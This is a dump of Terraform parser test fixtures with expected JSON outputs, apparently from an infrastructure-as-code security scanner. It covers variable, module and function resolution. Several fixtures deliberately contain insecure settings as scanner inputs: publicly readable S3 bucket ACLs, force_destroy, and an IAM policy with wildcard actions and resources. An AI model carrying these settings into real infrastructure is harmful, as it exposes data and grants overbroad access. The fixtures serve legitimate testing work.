optional description of this resource. The resource must be recreated to modify this field." default = "" } variable "auto_create_subnetworks" { type = bool description = "When set to true, the network is created in 'auto subnet mode' and it will create a subnet for each region automatically across the 10.128.0.0/9 address range. When set to false, the network is created in 'custom subnet mode' so the user can explicitly connect subnetwork resources." default = false } variable "delete_default_internet_gateway_routes" { type = bool description = "If set, ensure that all routes within the network specified whose names begin with 'default-route' and with a next hop of 'default-internet-gateway' are deleted" default = false } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/outputs.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ output "network" { value = module.vpc description = "The created network" } output "subnets" { value = module.subnets.subnets description = "A map with keys of form subnet_region/subnet_name and values being the outputs of the google_compute_subnetwork resources used to create corresponding subnets." } output "network_name" { value = module.vpc.network_name description = "The name of the VPC being created" } output "network_self_link" { value = module.vpc.network_self_link description = "The URI of the VPC being created" } output "project_id" { value = module.vpc.project_id description = "VPC project id" } output "subnets_names" { value = [for network in module.subnets.subnets : network.name] description = "The names of the subnets being created" } output "subnets_ips" { value = [for network in module.subnets.subnets : network.ip_cidr_range] description = "The IPs and CIDRs of the subnets being created" } output "subnets_self_links" { value = [for network in module.subnets.subnets : network.self_link] description = "The self-links of subnets being created" } output "subnets_regions" { value = [for network in module.subnets.subnets : network.region] description = "The region where the subnets will be created" } output "subnets_private_access" { value = [for network in module.subnets.subnets : network.private_ip_google_access] description = "Whether the subnets will have access to Google API's without a public IP" } output "subnets_flow_logs" { value = [for network in module.subnets.subnets : length(network.log_config) != 0 ? true : false] description = "Whether the subnets will have VPC flow logs enabled" } output "subnets_secondary_ranges" { value = [for network in module.subnets.subnets : network.secondary_ip_range] description = "The secondary ranges associated with these subnets" } output "route_names" { value = [for route in module.routes.routes : route.name] description = "The route names associated with this VPC" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/count_eval/variables.tf ================================================ /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ variable "project_id" { description = "The ID of the project where this VPC will be created" } variable "network_name" { description = "The name of the network being created" } variable "routing_mode" { type = string default = "GLOBAL" description = "The network routing mode (default 'GLOBAL')" } variable "shared_vpc_host" { type = bool description = "Makes this project a Shared VPC host if 'true' (default 'false')" default = false } variable "subnets" { type = list(map(string)) description = "The list of subnets being created" } variable "secondary_ranges" { type = map(list(object({ range_name = string, ip_cidr_range = string }))) description = "Secondary ranges that will be used in some of the subnets" default = {} } variable "routes" { type = list(map(string)) description = "List of routes being created in this VPC" default = [] } variable "delete_default_internet_gateway_routes" { type = bool description = "If set, ensure that all routes within the network specified whose names begin with 'default-route' and with a next hop of 'default-internet-gateway' are deleted" default = false } variable "description" { type = string description = "An optional description of this resource. The resource must be recreated to modify this field." default = "" } variable "auto_create_subnetworks" { type = bool description = "When set to true, the network is created in 'auto subnet mode' and it will create a subnet for each region automatically across the 10.128.0.0/9 address range. When set to false, the network is created in 'custom subnet mode' so the user can explicitly connect subnetwork resources." default = false } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/default_evaluation/expected.json ================================================ { "main.tf": { "locals": [ { "dummy_with_dash": ["my-bucket-name"], "dummy_with_comma": ["my-bucket-name"], "bucket_name": ["my-bucket-name"] } ], "resource": [ { "aws_cognito_user_group": { "user_group": { "name": ["this-is-my-default"], "description": ["this-is-my-default"], "user_pool_id": ["this-is-my-default"] } }, "null_resource": { "create_cognito_user": { } } } ], "variable": [ { "BUCKET_NAME": { "type": ["string"], "default": ["this-is-my-default"] } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/default_evaluation/main.tf ================================================ locals { dummy_with_dash = format("-%s", var.dummy_1) dummy_with_comma = format(":%s", var.dummy_1) bucket_name = var.bucket_name } resource "aws_cognito_user_group" "user_group" { name = "${var.customer_name}_group" description = "${var.customer_name} user group" user_pool_id = var.user_pool_id } resource "null_resource" "create_cognito_user" { count = var.user_exists ? 0 : 1 triggers = { build_number = var.user_email } provisioner "local-exec" { command = "aws --profile=${var.aws_profile} --region=${var.region} cognito-idp admin-create-user --user-pool-id ${var.user_pool_id} --username ${var.user_email}" } } data "aws_iam_policy_document" "event_stream_bucket_role_assume_role_policy" { statement { actions = [var.action] resources = [ "*", "abc" ] principals { type = "Service" identifiers = ["firehose.amazonaws.com"] } principals { type = "AWS" identifiers = var.trusted_role_arn } } } resource "aws_s3_bucket" "template_bucket" { region = var.region bucket = local.bucket_name acl = var.acl force_destroy = true } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/default_evaluation/variables.tf ================================================ variable "customer_name" { default = "Pavel_Checkov" } variable "user_email" { default = "checkov@bridgecrew.io" } variable "bucket_name" { default = "MyBucket" } variable "acl" { default = "public-acl" } variable "action" { default = "*" } variable "trusted_role_arn" { default = "aws:arn:xxx:xxx" } variable "region" { default = "us-west-2" } variable "app_client_id" { description = "Indicates whether the app client has been created" default = "Temp" } variable "user_pool_id" { default = "123" } variable "aws_profile" { default = "default" } variable "dummy_1" { default = "dummy_1" } variable "user_exists" { default = false } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/default_var_types/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "resource": [ { "google_compute_instance": { "a": { "metadata": [{ "x": "123", "block-project-ssh-keys": true }], "__start_line__": 29, "__end_line__": 31, "__address__": "google_compute_instance.a" }, "b": { "metadata": [{ "block-project-ssh-keys": true }], "__start_line__": 33, "__end_line__": 35, "__address__": "google_compute_instance.b" }, "c": { "metadata": [{ "x": "123", "block-project-ssh-keys": true }], "__start_line__": 37, "__end_line__": 39, "__address__": "google_compute_instance.c" }, "d": { "metadata": [{ "block-project-ssh-keys": true }], "__start_line__": 41, "__end_line__": 43, "__address__": "google_compute_instance.d" }, "e": { "metadata": [["123", "xyz"]], "__start_line__": 45, "__end_line__": 47, "__address__": "google_compute_instance.e" }, "f": { "metadata": [["xyz"]], "__start_line__": 49, "__end_line__": 51, "__address__": "google_compute_instance.f" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/default_var_types/main.tf ================================================ variable "map_with_default" { type = map(string) default = {x = "123"} } variable "map_without_default" { type = map(string) } variable "map_with_default_no_type" { type = map default = {x = "123"} } variable "map_without_default_no_type" { type = map } variable "list_with_default" { type = list(string) default = ["123"] } variable "list_without_default" { type = list(string) } resource "google_compute_instance" "a" { metadata = merge(var.map_with_default, {block-project-ssh-keys = true}) } resource "google_compute_instance" "b" { metadata = merge(var.map_without_default, {block-project-ssh-keys = true}) } resource "google_compute_instance" "c" { metadata = merge(var.map_with_default_no_type, {block-project-ssh-keys = true}) } resource "google_compute_instance" "d" { metadata = merge(var.map_without_default_no_type, {block-project-ssh-keys = true}) } resource "google_compute_instance" "e" { metadata = concat(var.list_with_default, ["xyz"]) } resource "google_compute_instance" "f" { metadata = concat(var.list_without_default, ["xyz"]) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/doc_evaluations_verify/README.md ================================================ This is verifying behavior of the "Concepts/Evaluations.md" doc. ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/doc_evaluations_verify/eval.json ================================================ { "main.tf": { "acl": { "var_file": "variables.tf", "value": "public-read", "definitions": [ { "definition_name": "acl", "definition_expression": "${var.acl}", "definition_path": "resource/0/aws_s3_bucket/my_bucket/acl/0" } ] }, "region": { "var_file": "variables.tf", "value": "us-west-2", "definitions": [ { "definition_name": "region", "definition_expression": "${var.region}", "definition_path": "resource/0/aws_s3_bucket/my_bucket/region/0" } ] } } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/doc_evaluations_verify/expected.json ================================================ { "main.tf": { "resource": [ { "aws_s3_bucket": { "my_bucket": { "region": ["us-west-2"], "bucket": ["${local.bucket_name}"], "acl": ["public-read"], "force_destroy": [true] } } } ] }, "variables.tf": { "variable": [ { "bucket_name": { "default": [ "MyBucket" ] } }, { "acl": { "default": [ "public-read" ] } }, { "region": { "default": ["us-west-2"] } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/doc_evaluations_verify/main.tf ================================================ resource "aws_s3_bucket" "my_bucket" { region = var.region bucket = local.bucket_name acl = var.acl force_destroy = true } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/doc_evaluations_verify/variables.tf ================================================ variable "bucket_name" { default = "MyBucket" } variable "acl" { default = "public-read" } variable "region" { default = "us-west-2" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/empty_file/evaluation.json ================================================ {} ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/empty_file/expected.json ================================================ {} ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/empty_file/main.tf ================================================ ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/formatting/expected.json ================================================ { "main.tf": { "locals": [ { "example1": ["Hello, Ander!"], "example2": ["There are 4 lights"] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/formatting/main.tf ================================================ locals { example1 = format("Hello, %s!", "Ander") example2 = format("There are %d lights", 4) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/json_807/cdk.tf.json ================================================ { "variable": { "environment": { "type": "string" }, "aws_region": { "default": "us-east-1", "type": "string" }, "aws_profile": { "type": "string" } }, "terraform": { "required_providers": { "aws": { "version": "~> 2.70.0", "source": "aws" } } }, "provider": { "aws": [ { "profile": "${var.aws_profile}", "region": "${var.aws_region}", "alias": "default" }, { "profile": "external", "region": "us-west-1", "skip_requesting_account_id": true, "alias": "external" } ] }, "resource": { "aws_secretsmanager_secret": { "local-secret": { "name": "internal-secret", "provider": "aws.default" }, "external-secret": { "name": "external-secret", "provider": "aws.external" } } } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/json_807/expected.json ================================================ { "cdk.tf.json": { "variable": { "environment": { "type": "string" }, "aws_region": { "default": "us-east-1", "type": "string" }, "aws_profile": { "type": "string" } }, "terraform": { "required_providers": { "aws": { "version": "~> 2.70.0", "source": "aws" } } }, "provider": { "aws": [ { "profile": "${var.aws_profile}", "region": "${var.aws_region}", "alias": "default" }, { "profile": "external", "region": "us-west-1", "skip_requesting_account_id": true, "alias": "external" } ] }, "resource": { "aws_secretsmanager_secret": { "local-secret": { "name": "internal-secret", "provider": "aws.default" }, "external-secret": { "name": "external-secret", "provider": "aws.external" } } } } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/list_default_622/expected.json ================================================ { "{\"file_path\": \"test.tf\", \"tf_source_modules\": null}": { "resource": [ { "aws_eks_cluster": { "example_direct": { "name": ["example"], "enabled_cluster_log_types": [ ["api", "audit", "authenticator", "controllerManager", "scheduler"] ], "__start_line__": 1, "__end_line__": 4, "__address__": "aws_eks_cluster.example_direct" } } }, { "aws_eks_cluster": { "example_var": { "name": ["example"], "enabled_cluster_log_types": [ ["api", "audit", "authenticator", "controllerManager", "scheduler"] ], "__start_line__": 6, "__end_line__": 9, "__address__": "aws_eks_cluster.example_var" } } } ], "variable": [ { "log_types_enabled": { "type": ["${list(string)}"], "default": [ ["api", "audit", "authenticator", "controllerManager", "scheduler"] ], "__start_line__": 11, "__end_line__": 14 } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/list_default_622/test.tf ================================================ resource "aws_eks_cluster" "example_direct" { name = "example" enabled_cluster_log_types = ["api", "audit", "authenticator", "controllerManager", "scheduler"] } resource "aws_eks_cluster" "example_var" { name = "example" enabled_cluster_log_types = var.log_types_enabled } variable "log_types_enabled" { type = list(string) default = ["api", "audit", "authenticator", "controllerManager", "scheduler"] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/local_block/eval.json ================================================ {} ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/local_block/expected.json ================================================ { "{\"file_path\": \"name_doesnt_matter.tf\", \"tf_source_modules\": null}": { "resource": [ { "aws_s3_bucket": { "test_with_locals": { "bucket": [ "my-bucket-name" ], "__start_line__": 5, "__end_line__": 7, "__address__": "aws_s3_bucket.test_with_locals" } } } ], "locals": [ { "BUCKET_NAME": ["my-bucket-name"] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/local_block/name_doesnt_matter.tf ================================================ locals { BUCKET_NAME = "my-bucket-name" } resource "aws_s3_bucket" "test_with_locals" { bucket = local.BUCKET_NAME } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/local_bool_string_conversion/eval.json ================================================ {} ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/local_bool_string_conversion/expected.json ================================================ { "{\"file_path\": \"name_doesnt_matter.tf\", \"tf_source_modules\": null}": { "locals": [ { "TRUE_STRING": [true], "FALSE_STRING": [false] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/local_bool_string_conversion/name_doesnt_matter.tf ================================================ locals { TRUE_STRING = "true" FALSE_STRING = "false" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/map_function/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "INTS": [ { "a": 1, "b": 2 } ], "FLOATS": [ { "a": 1.1, "b": 2.2 } ], "STRINGS": [ { "a": "one", "b": "two" } ], "BOOLS": [ { "a": true, "b": false } ], "MIXED_BOOL": [ { "a": "foo", "b": "true" } ], "MIXED_FLOAT": [ { "a": "foo", "b": "1.2" } ], "ANNOYING_SPLIT": [ { "this, is": "really, annoying" } ], "INVALID_ODD_ARGS": ["${map(\"only one\")}"], "common_tags": [ { "App": "my_app", "Product": "my_product", "Team": "my_team" } ] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/map_function/main.tf ================================================ locals { INTS = map("a", 1, "b", 2) FLOATS = map("a", 1.1, "b", 2.2) STRINGS = map("a", "one", "b", "two") BOOLS = map("a", true, "b", false) MIXED_BOOL = map("a", "foo", "b", true) MIXED_FLOAT = map("a", "foo", "b", 1.2) ANNOYING_SPLIT = map("this, is", "really, annoying") INVALID_ODD_ARGS = map("only one") common_tags = map( "App", "my_app", "Product", "my_product", "Team", "my_team", ) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/maze_of_variables/bucket/bucket.tf ================================================ variable "name" {} locals { MODULE_TAIL = "bucket" } output "bucket_name" { value = aws_s3_bucket.example.bucket } resource "aws_s3_bucket" "example" { bucket = "${var.name}-${local.MODULE_TAIL}" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/maze_of_variables/expected.json ================================================ { "{\"file_path\": \"maze.tf\", \"tf_source_modules\": null}": { "variable": [ { "gratuitous_var_default": { "type": [ "string" ], "default": [ "-yay" ], "__start_line__": 2, "__end_line__": 5, "__address__": "gratuitous_var_default" } }, { "input": { "default": ["module-input"], "__start_line__": 7, "__end_line__": 9, "__address__": "input" } } ], "locals": [ { "BUCKET": ["bucket"], "NAME": [ { "module-input-bucket": "mapped-bucket-name" } ], "TAIL": [ "works" ] } ], "module": [ { "bucket": { "source": ["./bucket"], "name": ["module-input"], "__resolved__": ["{\"file_path\": \"bucket/bucket.tf\", \"tf_source_modules\": {\"path\": \"maze.tf\", \"name\": \"bucket\", \"foreach_idx\": null, \"nested_tf_module\": null}}"], "__start_line__": 20, "__end_line__": 23, "__address__": "bucket" } } ], "resource": [ { "aws_s3_bucket": { "example2": { "bucket": [ "${mapped-bucket-name}-works-yay" ], "__start_line__": 25, "__end_line__": 34, "__address__": "aws_s3_bucket.example2" } } } ] }, "{\"file_path\": \"bucket/bucket.tf\", \"tf_source_modules\": {\"path\": \"maze.tf\", \"name\": \"bucket\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "variable": [ { "name": { "__start_line__": 1, "__end_line__": 1, "__address__": "module.bucket.name" } } ], "locals": [ { "MODULE_TAIL": ["bucket"] } ], "output": [ { "bucket_name": { "value": ["module-input-bucket"] } } ], "resource": [ { "aws_s3_bucket": { "example": { "bucket": ["module-input-bucket"], "__start_line__": 11, "__end_line__": 13, "__address__": "module.bucket.aws_s3_bucket.example" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/maze_of_variables/maze.tf ================================================ variable "gratuitous_var_default" { type = string default = "-yay" } variable "input" { default = "module-input" } locals { BUCKET = "bucket" NAME = { "module-input-bucket" = "mapped-${local.BUCKET}-name" } TAIL = "works" } module "bucket" { source = "./bucket" name = var.input } resource "aws_s3_bucket" "example2" { # resolves to: mapped-bucket-name # | resolves to: module-input-bucket # | | resolves to: works # | | | resolves to: -yay # | | | | # v v v v bucket = "${local.NAME[${module.bucket.bucket_name}]}-${local.TAIL}${var.gratuitous_var_default}" # final result: mapped-bucket-name-works-yay } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/merge_function/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "common_tags": [ { "Tag1": "one", "Tag2": "two" } ], "common_data_tags": [ { "Tag3": "three" } ], "local_to_local": [ { "Tag1": "one", "Tag2": "two", "Tag3": "three" } ], "local_to_manual": [ { "Tag1": "one", "Tag2": "two", "Tag4": "four" } ], "local_local_manual": [ { "Tag1": "one", "Tag2": "two", "Tag3": "three", "Name": "Bob" } ], "manual_to_local": [ { "Tag4": "four", "Tag1": "one", "Tag2": "two" } ], "manual_to_manual": [ { "Tag4": "four", "Tag5": "five" } ], "nested": [ { "Tag1": "one", "Tag2": "two", "Tag4": "four", "Tag5": "five" } ], "doc_example1": [ { "a": "b", "c": "z", "e": "f" } ], "doc_example2": [ { "a": [ 1, 2 ], "c": "z", "d": 3 } ], "evil_strings1": [ { "a": "}, evil" } ], "one_arg_local": [ { "Tag1": "one", "Tag2": "two" } ], "one_arg_manual": [ { "Tag4": "four" } ], "multiline": [ { "Tag1": "one", "Tag2": "multiline_tag2", "Tag4": "four" } ], "static1": ["one"], "static2": ["two"] } ], "resource": [ { "aws_something": { "something": { "tags": [ { "Tag1": "one", "Tag2": "two", "Tag3": "three", "Name": "Bob-one-two" } ], "__start_line__": 45, "__end_line__": 48, "__address__": "aws_something.something" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/merge_function/main.tf ================================================ locals { common_tags = { Tag1 = "one" Tag2 = "two" } common_data_tags = { Tag3 = "three" } local_to_local = merge(local.common_tags, local.common_data_tags) local_to_manual = merge(local.common_tags, {Tag4 = "four"}) local_local_manual = merge(local.common_tags, local.common_data_tags, {Name = "Bob"}) manual_to_local = merge({Tag4 = "four"}, local.common_tags) manual_to_manual = merge({Tag4 = "four"}, {Tag5="five"}) nested = merge(local.common_tags, merge({Tag4 = "four"}, {Tag5 = "five"})) doc_example1 = merge({a="b", c="d"}, {e="f", c="z"}) doc_example2 = merge({a="b"}, {a=[1,2], c="z"}, {d=3}) # Note: 3 args evil_strings1 = merge({a="}, evil"}) # The HCL parser does something really weird with this case turning the inner quote into (python string): # ${merge({\'b\': \'\\\\" , evil\'})} # This seems wrong to me, so I'm skipping for the moment. Expended emitted data is: # "evil_strings2": [ # { # "b": "\" , evil" # } # ], // evil_strings2 = merge({b="\" , evil"}) one_arg_local = merge(local.common_tags) one_arg_manual = merge({Tag4 = "four"}) multiline = merge( local.common_tags, {Tag4 = "four"}, {Tag2="multiline_tag2"} ) static1 = "one" static2 = "two" } resource "aws_something" "something" { # tags = merge(local.common_tags, local.common_data_tags, {Name = "Bob-${local.static1}-${local.static2}"}) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/merge_function_unresolved_var/expected.json ================================================ { "main.tf": { "locals": [ { "common_tags": [ { "Tag1": "one", "Tag2": "two" } ] } ], "variable": [ { "ENV": {} } ], "resource": [ { "aws_s3_bucket": { "bucket": { "tags": [ { "Tag1": "one", "Tag2": "two", "Name": "my-bucket-${var.ENV}" } ] } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/merge_function_unresolved_var/main.tf ================================================ locals { common_tags = { Tag1 = "one" Tag2 = "two" } } variable "ENV" {} resource "aws_s3_bucket" "bucket" { # var.ENV has no default, so need to evaluate the merge without the # fully resolved statement. tags = merge(local.common_tags, {Name = "my-bucket-${var.ENV}"}) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_matryoshka_nested_module_enable/bucket1/bucket.tf ================================================ module "bucket2" { source = "./bucket2" } resource "aws_s3_bucket" "example1" { bucket = "bucket1" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_matryoshka_nested_module_enable/bucket1/bucket2/bucket.tf ================================================ module "bucket3" { source = "./bucket3" } resource "aws_s3_bucket" "example2" { bucket = "bucket2" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_matryoshka_nested_module_enable/bucket1/bucket2/bucket3/bucket.tf ================================================ resource "aws_s3_bucket" "example3" { bucket = "bucket3" acl = "public-read" # used by test_runner.py } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_matryoshka_nested_module_enable/buckets.tf ================================================ module "bucket1" { source = "./bucket1" } resource "aws_s3_bucket" "example0" { bucket = "bucket0" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_matryoshka_nested_module_enable/expected.json ================================================ { "{\"file_path\": \"buckets.tf\", \"tf_source_modules\": null}": { "module": [ { "bucket1": { "source": ["./bucket1"], "__resolved__": [ "{\"file_path\": \"bucket1/bucket.tf\", \"tf_source_modules\": {\"path\": \"buckets.tf\", \"name\": \"bucket1\", \"foreach_idx\": null, \"nested_tf_module\": null}}" ], "__start_line__": 1, "__end_line__": 3, "__address__": "bucket1" } } ], "resource": [ { "aws_s3_bucket": { "example0": { "__end_line__": 7, "__start_line__": 5, "bucket": ["bucket0"], "__address__": "aws_s3_bucket.example0" } } } ] }, "{\"file_path\": \"bucket1/bucket.tf\", \"tf_source_modules\": {\"path\": \"buckets.tf\", \"name\": \"bucket1\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "module": [ { "bucket2": { "source": ["./bucket2"], "__resolved__": [ "{\"file_path\": \"bucket1/bucket2/bucket.tf\", \"tf_source_modules\": {\"path\": \"bucket1/bucket.tf\", \"name\": \"bucket2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"buckets.tf\", \"name\": \"bucket1\", \"foreach_idx\": null, \"nested_tf_module\": null}}}" ], "__start_line__": 1, "__end_line__": 3, "__address__": "module.bucket1.bucket2" } } ], "resource": [ { "aws_s3_bucket": { "example1": { "bucket": ["bucket1"], "__start_line__": 5, "__end_line__": 7, "__address__": "module.bucket1.aws_s3_bucket.example1" } } } ] }, "{\"file_path\": \"bucket1/bucket2/bucket.tf\", \"tf_source_modules\": {\"path\": \"bucket1/bucket.tf\", \"name\": \"bucket2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"buckets.tf\", \"name\": \"bucket1\", \"foreach_idx\": null, \"nested_tf_module\": null}}}": { "module": [ { "bucket3": { "source": ["./bucket3"], "__resolved__": [ "{\"file_path\": \"bucket1/bucket2/bucket3/bucket.tf\", \"tf_source_modules\": {\"path\": \"bucket1/bucket2/bucket.tf\", \"name\": \"bucket3\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"bucket1/bucket.tf\", \"name\": \"bucket2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"buckets.tf\", \"name\": \"bucket1\", \"foreach_idx\": null, \"nested_tf_module\": null}}}}" ], "__start_line__": 1, "__end_line__": 3, "__address__": "module.bucket1.module.bucket2.bucket3" } } ], "resource": [ { "aws_s3_bucket": { "example2": { "bucket": ["bucket2"], "__start_line__": 5, "__end_line__": 7, "__address__": "module.bucket1.module.bucket2.aws_s3_bucket.example2" } } } ] }, "{\"file_path\": \"bucket1/bucket2/bucket3/bucket.tf\", \"tf_source_modules\": {\"path\": \"bucket1/bucket2/bucket.tf\", \"name\": \"bucket3\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"bucket1/bucket.tf\", \"name\": \"bucket2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"buckets.tf\", \"name\": \"bucket1\", \"foreach_idx\": null, \"nested_tf_module\": null}}}}": { "resource": [ { "aws_s3_bucket": { "example3": { "bucket": ["bucket3"], "acl": ["public-read"], "__start_line__": 1, "__end_line__": 4, "__address__": "module.bucket1.module.bucket2.module.bucket3.aws_s3_bucket.example3" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_multiple_usage/bucket/bucket.tf ================================================ variable "name" {} locals { BUCKET_NAME = var.name } resource "aws_s3_bucket" "example" { bucket = local.BUCKET_NAME } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_multiple_usage/buckets.tf ================================================ module "bucket" { source = "./bucket" name = "my_bucket1" } module "bucket2" { source = "./bucket" name = "my_bucket2" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_multiple_usage/expected.json ================================================ { "buckets.tf": { "module": [ { "bucket": { "source": ["./bucket"], "name": ["my_bucket1"], "__resolved__": ["bucket/bucket.tf[buckets.tf#0]"] } }, { "bucket": { "source": ["./bucket"], "name": ["my_bucket2"], "__resolved__": ["bucket/bucket.tf[buckets.tf#1]"] } } ] }, "bucket/bucket.tf[main.tf#0]": { "variable": [ { "name": {} } ], "locals": [ { "BUCKET_NAME": ["my_bucket1"] } ], "resource": [ { "aws_s3_bucket": { "example": { "bucket": [ "my_bucket1" ] } } } ] }, "bucket/bucket.tf[main.tf#1]": { "variable": [ { "name": {} } ], "locals": [ { "BUCKET_NAME": ["my_bucket2"] } ], "resource": [ { "aws_s3_bucket": { "example": { "bucket": [ "my_bucket2" ] } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_output_reference/bucket/bucket.tf ================================================ variable "tags" {} resource "aws_s3_bucket" "bucket" { bucket = "its.a.bucket" # NOTE: Prior to find_var_blocks handling vars in parameters, this didn't work tags = merge(var.tags, {"more_tags" = "yes"}) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_output_reference/common/common.tf ================================================ output "tags" { value = { Team = "my_team" Color = "red" } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_output_reference/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "module": [ { "common": { "source": ["./common"], "__resolved__": ["{\"file_path\": \"common/common.tf\", \"tf_source_modules\": {\"path\": \"main.tf\", \"name\": \"common\", \"foreach_idx\": null, \"nested_tf_module\": null}}"], "__start_line__": 1, "__end_line__": 3, "__address__": "common" } }, { "bucket": { "source": ["./bucket"], "tags": [ { "Team": "my_team", "Color": "red" } ], "__resolved__": ["{\"file_path\": \"bucket/bucket.tf\", \"tf_source_modules\": {\"path\": \"main.tf\", \"name\": \"bucket\", \"foreach_idx\": null, \"nested_tf_module\": null}}"], "__start_line__": 4, "__end_line__": 7, "__address__": "bucket" } } ] }, "{\"file_path\": \"bucket/bucket.tf\", \"tf_source_modules\": {\"path\": \"main.tf\", \"name\": \"bucket\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "variable": [ { "tags": { "__start_line__": 1, "__end_line__": 1, "__address__": "module.bucket.tags" } } ], "resource": [ { "aws_s3_bucket": { "bucket": { "bucket": ["its.a.bucket"], "tags": [ { "Team": "my_team", "Color": "red", "more_tags": "yes" } ], "__start_line__": 4, "__end_line__": 8, "__address__": "module.bucket.aws_s3_bucket.bucket" } } } ] }, "{\"file_path\": \"common/common.tf\", \"tf_source_modules\": {\"path\": \"main.tf\", \"name\": \"common\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "output": [ { "tags": { "value": [{ "Team": "my_team", "Color": "red" }] } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_output_reference/main.tf ================================================ module "common" { source = "./common" } module "bucket" { source = "./bucket" tags = module.common.tags # <-- reference to other module, must be resolved in second pass } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_reference/bucket/bucket.tf ================================================ output "bucket_name" { value = aws_s3_bucket.example.bucket } resource "aws_s3_bucket" "example" { bucket = "my_bucket" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_reference/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "module": [ { "bucket": { "source": ["./bucket"], "__resolved__": ["{\"file_path\": \"bucket/bucket.tf\", \"tf_source_modules\": {\"path\": \"main.tf\", \"name\": \"bucket\", \"foreach_idx\": null, \"nested_tf_module\": null}}"], "__start_line__": 1, "__end_line__": 3, "__address__": "bucket" } } ], "locals": [ { "BUCKET_NAME": ["my_bucket"] } ] }, "{\"file_path\": \"bucket/bucket.tf\", \"tf_source_modules\": {\"path\": \"main.tf\", \"name\": \"bucket\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "output": [ { "bucket_name": { "value": ["my_bucket"] } } ], "resource": [ { "aws_s3_bucket": { "example": { "bucket": [ "my_bucket" ], "__start_line__": 5, "__end_line__": 7, "__address__": "module.bucket.aws_s3_bucket.example" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_reference/main.tf ================================================ module "bucket" { source = "./bucket" } locals { BUCKET_NAME = "${module.bucket.bucket_name}" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_simple/bucket/bucket.tf ================================================ resource "aws_s3_bucket" "mybucket" { bucket = "MyBucket" 